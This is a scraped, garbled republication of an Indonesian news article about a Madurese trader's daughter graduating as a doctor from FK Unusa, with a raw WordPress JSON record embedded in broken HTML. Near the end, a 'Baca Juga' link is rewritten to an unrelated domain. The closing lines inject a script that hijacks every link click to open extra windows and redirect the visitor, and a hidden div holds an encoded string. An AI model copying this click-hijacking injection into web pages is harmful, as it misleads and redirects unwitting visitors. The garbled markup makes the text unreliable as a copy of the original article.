<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<html><body><p>{"id":1509488,"date":"2026-05-22T09:37:19","date_gmt":"2026-05-22T02:37:19","guid":{"rendered":"https:\/\/beritajatim.com\/?p=1509488"},"modified":"2026-05-22T09:31:11","modified_gmt":"2026-05-22T02:31:11","slug":"anak-pedagang-madura-ini-patahkan-stigma-darah-biru-profesi-dokter","status":"publish","type":"post","link":"https:\/\/beritajatim.com\/anak-pedagang-madura-ini-patahkan-stigma-darah-biru-profesi-dokter","title":{"rendered":"Anak Pedagang Madura Ini Patahkan Stigma Darah Biru Profesi Dokter"},"content":{"rendered":"</p><p><strong>Surabaya (beritajatim.com) &ndash;&lt;\/strong&gt; Gelar dokter kerap dipandang eksklusif bagi keluarga berlatar belakang medis. Namun, Benta Malika El Ghameela mematahkan anggapan itu. Ia resmi menjadi dokter meski berasal dari keluarga pedagang asal Madura.&lt;\/p&gt;\n<p>Mahasiswi Fakultas Kedokteran (FK) Universitas Nahdlatul Ulama Surabaya (Unusa) ini menjalani proses berat. Sebelum ujian, ia selalu mengabari sang ibu untuk meminta bantuan doa khusus dari jauh.&lt;\/p&gt;\n</p><p>&ldquo;Kalau saya sudah chat, &lsquo;Ma, sudah selesai,&rsquo; baru Mama berhenti membaca Yasin,&rdquo; ungkap Benta, mengenang, Jumat (22\/5\/2026).&lt;\/p&gt;\n</p><p>Perjalanan pendidikannya penuh rintangan, terutama soal finansial. Orang tuanya menggantungkan hidup sehari-hari dari membuka usaha jasa fotokopi dan percetakan berskala kecil.&lt;\/p&gt;\n</p><p>&ldquo;Orang tua saya tidak pernah bilang kalau mereka kesulitan. Mereka cuma bilang, &lsquo;Kamu belajar saja. Soal biaya, Mama dan Abah usahakan,'&rdquo; tuturnya.&lt;\/p&gt;\n</p><p>Usaha fotokopi itu nyaris tutup saat pandemi melanda. Kedua orang tuanya langsung memutar otak menjual pakaian agar uang kuliah tetap terbayar lunas.&lt;\/p&gt;\n</p><p>&ldquo;Di situ saya benar-benar melihat bagaimana orang tua saya berjuang agar saya tetap bertahan di kedokteran,&rdquo; katanya.&lt;\/p&gt;\n</p><p>Kondisi ekonomi ini juga sempat memicu rasa kurang percaya diri. Benta berangkat ke kampus menunggangi sepeda motor biasa di tengah rekan sejawat yang membawa kendaraan roda empat.&lt;\/p&gt;\n</p><p>&ldquo;Banyak yang bilang anak kedokteran harus bawa mobil. Saya sempat minder. Tapi saya berpikir, saya harus punya nilai dari diri saya sendiri,&rdquo; ujarnya.&lt;\/p&gt;\n</p><p>Namun, ingatan akan kakeknya yang sakit terus menjaga semangat belajarnya. Setelah pelantikan, Benta bersiap mengejar pendidikan spesialis bedah untuk membantu pasien di daerah asalnya.&lt;\/p&gt;\n</p><p>&ldquo;Kalau orang tua saya tidak pernah mengeluh soal biaya, saya juga tidak boleh mengeluh soal pendidikan,&rdquo; kata Benta.&lt;\/p&gt;\n</p><p>Jejak akademis anak pedagang ini sejalan dengan tren di kampusnya. Sebanyak 16 dokter dilantik pada Kamis, 21 Mei 2026. Ini sekaligus mematahkan mitos profesi medis hanya untuk kelompok tertentu.&lt;\/p&gt;\n</p><p>&ldquo;Lulusan FK Unusa ini 84 persen dari keluarga non-dokter,&rdquo; sebut Dekan FK Unusa, Prof Budi Santoso.&lt;\/p&gt;\n</p><div style='\"clear:both;' margin-top:0em margin-bottom:1em><a href="https://bloso.top/news/info-https-%5C%22https:%5C/%5C/beritajatim.com%5C/84-persen-lulusan-fk-unusa-bukan-dari-keluarga-medis%5C%22" target='\"_self\"' rel='\"dofollow\"' class='\"ub79e0015cfed9be78c8abc50796a50cf\"'><style> .ub79e0015cfed9be78c8abc50796a50cf { padding:0px; margin: 0; padding-top:1em!important; padding-bottom:1em!important; width:100%; display: block; font-weight:bold; background-color:#eaeaea; border:0!important; border-left:4px solid #D35400!important; text-decoration:none; } .ub79e0015cfed9be78c8abc50796a50cf:active, .ub79e0015cfed9be78c8abc50796a50cf:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; text-decoration:none; } .ub79e0015cfed9be78c8abc50796a50cf { transition: background-color 250ms; webkit-transition: background-color 250ms; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; } .ub79e0015cfed9be78c8abc50796a50cf .ctaText { font-weight:bold; color:#464646; text-decoration:none; font-size: 16px; } .ub79e0015cfed9be78c8abc50796a50cf .postTitle { color:#000000; text-decoration: underline!important; font-size: 16px; } .ub79e0015cfed9be78c8abc50796a50cf:hover .postTitle { text-decoration: underline!important; } <\/style><div style=\"padding-left:1em; padding-right:1em;\"><span class=\"ctaText\">Baca Juga:<\/span>&nbsp; <span class=\"postTitle\">84 Persen Lulusan FK Unusa Bukan dari Keluarga Medis<\/span><\/div><\/a><\/div>\n<p>Latar belakang keluarga medis kini bukan lagi penentu seseorang bisa mengenakan jas putih. &#8220;Ini menunjukkan siapa pun bisa asal memiliki kemampuan akademik yang cukup, cita-cita, dan passion,&#8221; tandas Budi. <a href=\"https:\/\/beritajatim.com\/\"><strong>[ipl\/but]<\/strong><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Gelar dokter kerap dipandang eksklusif bagi keluarga berlatar belakang medis. Namun, Benta Malika El Ghameela mematahkan anggapan itu.<\/p>\n","protected":false},"author":63,"featured_media":1509489,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":""},"categories":[10],"tags":[310792,250188,97057,216,1010],"gn_keywords":[426963,426960,80012,97059,426959,395251,54233,426961,329996,144908,426962,54156],"class_list":["post-1509488","post","type-post","status-publish","format-standard","has-post-thumbnail","category-pendidikan-kesehatan","tag-anak-pedagang","tag-dokter-unusa","tag-fk-unusa","tag-madura","tag-unusa"],"acf":[],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1509488","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/users\/63"}],"replies":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/comments?post=1509488"}],"version-history":[{"count":0,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/posts\/1509488\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media\/1509489"}],"wp:attachment":[{"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/media?parent=1509488"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/categories?post=1509488"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/tags?post=1509488"},{"taxonomy":"gn_keywords","embeddable":true,"href":"https:\/\/beritajatim.com\/wp-json\/wp\/v2\/gn_keywords?post=1509488"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}</style></a></div></strong></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
